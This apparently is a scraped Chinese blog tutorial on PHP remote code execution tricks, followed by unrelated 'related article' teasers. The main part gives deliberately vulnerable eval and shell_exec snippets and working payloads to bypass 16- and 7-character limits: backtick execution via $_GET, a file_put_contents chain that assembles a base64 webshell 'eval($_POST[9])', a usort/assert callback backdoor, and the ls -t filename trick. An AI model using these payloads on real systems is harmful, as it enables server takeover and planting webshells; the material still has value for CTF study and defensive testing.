RCE下的一些奇技淫巧

devtools/2024/9/20 1:27:01/ 标签: REC

文章目录

  • EVAL长度限制突破技巧
    • 限制16字符
      • \`$_GET[1]\`
      • file_put_contents
      • usort(...$_GET);
    • 限制7字符

EVAL长度限制突破技巧

限制16字符

PHP Eval函数参数限制在16个字符的情况下,如何拿到Webshell?

<?php
$param = $_REQUEST['param']; If (
strlen($param) < 17 && stripos($param, 'eval') === false && stripos($param, 'assert') === false
) {
eval($param);
}

上面这段代码的意思是传递的参数要小于17位,并且不能存在eval和assert。
那我们怎么处理呢?

`$_GET[1]`

可以这样写

?param=`$_GET[1]`;&1=id

在这里插入图片描述
这样就突破了长度限制,那我们是不是也可以写一些恶意代码?答案是的.
尝试在tmp下创建一个文件

?param=`$_GET[1]`;&1=touch%20/tmp/111.txt

在这里插入图片描述

file_put_contents

foo.php?1=file_put_contents&param=$_GET[1](N,P,8); 
foo.php?1=file_put_contents&param=$_GET[1](N,D,8);
...
foo.php?1=file_put_contents&param=$_GET[1](N,w,8);
/* 'PD9waHAgZXZhbCgkX1BPU1RbOV0pOw' ✲写入文件'N'中	*/
foo.php?param=include$_GET[1];&1=php://filter/read=convert.b ase64-decode/resource=N

语句中的8是什么意思?
查阅资料得知8在php底层中的c语言是追加。

为什么要写base64编码?
因为使用file_put_contents时,有些字符不能使用,例如<.

PD9waHAgZXZhbCgkX1BPU1RbOV0pOw      #<?php eval($_POST[9]);

usort(…$_GET);

也就是可变长参数=>usort回调后门=>任意代码执行
usort就是将传入的两个参数,第一个是一个数组,第二个是一个回调函数,然后将数组的值挨个向回调函数里放。

foo.php?1[]=test&1[]=phpinfo();&2=assert

实操
使用浏览器发包

?1[]=test&1[]=phpinfo();&2=assert

然后使用burp抓包,改包的内容为post。
在这里插入图片描述
结果
在这里插入图片描述

限制7字符

<?php
$param = $_REQUEST['param']; If ( strlen($param) < 8 ) { echo shell_exec($param);
}


>0这样是创建一个文件名为0的文件。
那我们就想能不能通过一些方式,将文件名排列组合拼接在一起形成一句话木马?能利用的也就是按照时间进行排序。

ls -t以创建时间来列出当前目录下的所有文件
文件列表以[换行符]分割每个文件
引入\转义ls时的换行
换行不影响命令执行
成功构造任意命令执行,写入webshell

在这里插入图片描述


http://www.ppmy.cn/devtools/92214.html

相关文章

秒懂C++之多态

目录 一. 多态的概念 二. 多态的定义及实现 多态的构成条件 虚函数重写的例外 协变(基类与派生类虚函数返回值类型不同) 析构函数的重写(基类与派生类析构函数的名字不同) 练习例题 final override 重载、覆盖(重写)、隐藏(重定义)的对比 三. 抽象类 四. 多态的原理…

haproxy基础

目录 1 HAProxy介绍 1.1 版本对比 1.2 HAProxy功能 2 参数介绍与实践 2.1 global参数说明 2.2 真实代码格式实例 2.3 常用全局参数 2.3.1 nbproc -- 开启几个进程 2.3.2 cpu-map(CUP绑定) 2.3.3 nbthread 2 --开启2个线程 3 Proxies配置 3.1 Proxies配置-defaults 3.2 Proxi…

C语言项目——贪吃蛇,为什么用curses,定义上下左右

在Linux系统中&#xff0c;使用ncurses在程序编译时还要加上 -lcurses 即&#xff1a;gcc cursedemo.c -lcurses #include<curses.h> int main() {initscr(); //ncurse界面的初始化函数printw("This is a curses window.\n");//再ncurse模式下的printfgetc…

solidity 以太坊(Ether) 单位(很基础)

一个字面常数可以带一个后缀 wei&#xff0c; gwei 或 ether 来指定一个以太坊的数量&#xff0c; 其中没有后缀的以太数字被认为单位是wei。 在以太坊和许多其他基于以太坊的区块链系统中&#xff0c;以太币&#xff08;Ether&#xff09;是网络中的主要加密货币。 以太可以被…

Stable Diffusion绘画 | 图生图-涂鸦重绘

涂鸦重绘的整体参数配置&#xff0c;与局部重绘基本一致&#xff0c;仅多了一个蒙版透明度的参数。 都是对局部区域进行重新绘制&#xff0c;但它不仅能识别蒙版的区域&#xff0c;同时还能识别画笔颜色。 例如&#xff0c;对图片中的人物脸部&#xff0c;使用蓝色的画笔&…

JDK8优化JVM总结

JDK8优化JVM总结 默认垃圾回收器&#xff1a; 当前大多数应用仍然使用JDK 1.8&#xff0c;并且默认的年轻代垃圾回收器是Parallel Scavenge。Parallel Scavenge回收器旨在最大化吞吐量&#xff0c;适合对CPU使用率有较高要求的应用场景。 AdaptiveSizePolicy&#xff1a; 默认…

如何在linux系统上部署Redis

<1>简介 Redis 全称 Remote Dictionary Server&#xff08;远程字典服务器&#xff09;&#xff0c;是一个高性能的(key/value)分布式内存数据库&#xff0c;基于内存运行并支持持久化的NoSQL数据库&#xff0c;是当前最热门的NoSql数据库之一,也被人们称为数据结构服务…

SpringBoot依赖之H2 Database(一)

基本概念介绍 H2 Database 依赖名称: H2 Database 功能描述: Provides a fast in-memory database that supports JDBC API and R2DBC access, with a small (2mb) footprint. Supports embedded and server modes as well as a browser based console application. 提供支持…

ptrade排坑笔记——get_price函数在早上8点10分获取不了上一交易日的数据

前言 今天想要和大家分享的是使用get_price函数&#xff0c;但是却没有办法获取上一个交易日的一个交易数据&#xff0c;发生时间点是在早上的8点10分&#xff01; 一、问题描述 就和前言中的一样&#xff0c;在8点10分的时候&#xff0c;使用get_price函数&#xff0c;但是…

Spring配置

1.Spring的两大核心思想IOC和AOP思想 1.1类注解 1.Controller, Service, Configuration, Component, Repository 1.2方法注解 bean&#xff08;这个方法搭配上面的五大注解进行使用&#xff09; 2.Bean的名称 2.1.类注解名称 &#xff08;1&#xff09;默认首字母小写驼…

演示:基于WPF的DrawingVisual开发GS(2019)1822号矢量中国地图一

一、目的&#xff1a;基于WPF的DrawingVisual开发的矢量地图 二、预览 默认样式 深黑样式 深蓝色样式 深蓝色透明样式 演示&#xff1a;基于WPF的DrawingVisual开发GS(2019)1822号矢量中国地图二-CSDN博客VS2022&#xff0c;net7演示&#xff1a;基于WPF的DrawingVisual开发GS…

Codeforces Round 964 (Div. 4) (A~G1)

文章目录 题目链接写在前面A- AB Again?思路code B- Card Game思路code C- Showering思路code D- Slavics Exam思路 E- Triple Operations思路code F- Expected Median思路code G1- Ruler (easy version)思路code 题目链接 点击这里 写在前面 昨天晚上打的这场cf打的跟坨⑩…

C语言经典编程题——基础版1.13

【程序14】 题目&#xff1a;输入某年某月某日&#xff0c;判断这一天是这一年地第几天&#xff1f; #include<stdio.h> int main(){int year,m1,d1,num0;scanf("%d,%d,%d",&year,&m1,&d1);int m1,d1;while(m<m1||d<d1){if(m1||m3||m5||m7…

ASP.Net Core设置接口根路径的方法

使用asp.net core开发微服务项目&#xff0c;需要给每个服务设置不同的根路径&#xff0c;这样既能使用网关转发请求&#xff0c;又方便对单个服务进行测试&#xff0c;保证请求路径的统一。 设置方法需要使用中间件&#xff0c;在Program.cs添加如下代码 app.UsePathBase(&qu…

Using Embeddings API in Azure OpenAI

题意&#xff1a;当我在 Azure OpenAI 中使用嵌入功能时&#xff0c;我遇到了 404 错误&#xff08;资源未找到&#xff09; 问题背景&#xff1a; When I use embeddings with Azure OpenAI I am getting 404 (resource not found): 当我在 Azure OpenAI 中使用嵌入功能时&a…

kafka下载|安装

1、下载kafka https://kafka.apache.org/downloads 2、安装kafka 解压下载的kafka安装包即可 tar -xvf kafka_2.13-3.7.0.tgz -C /usr/local/3、查看kafka目录 bin目录&#xff1a;存放了脚本 config目录&#xff1a;主要存放了配置文件

Java语言程序设计——篇十三(1)

&#x1f33f;&#x1f33f;&#x1f33f;跟随博主脚步&#xff0c;从这里开始→博主主页&#x1f33f;&#x1f33f;&#x1f33f; 欢迎大家&#xff1a;这里是我的学习笔记、总结知识的地方&#xff0c;喜欢的话请三连&#xff0c;有问题可以私信&#x1f333;&#x1f333;&…

Docker快速入门指南

&#x1f6e0;️ Docker 应用场景 Docker 是一个开源的平台&#xff0c;旨在简化应用程序的开发、部署和管理。它通过容器技术&#xff0c;将应用及其所有依赖打包在一个标准化的环境中&#xff0c;从而确保应用在不同环境中的一致性和可移植性。在 Python 爬虫的场景中&#…

高职院校云计算人才培养成果导向系统构建、实施要点与评量方法

一、引言 随着“十四五”规划的深入实施&#xff0c;云计算作为新一代信息技术的关键组成部分&#xff0c;已成为推动各行业数字化转型的重要驱动力。高职院校作为技术技能人才培养的重要阵地&#xff0c;如何根据云计算产业的发展需求&#xff0c;培养具备云计算技术应用与运…

面试笔记--(正在整理版)

面试常见: Jvm&#xff0c;高并发&#xff0c;多线程&#xff0c;数据库&#xff0c;redis&#xff0c;框架 多线程 1.线程和进程是什么?如何保证线程安全性? 进程线程&#xff08;一&#xff09;——基础知识&#xff0c;什么是进程&#xff1f;什么是线程&#xff1f;_…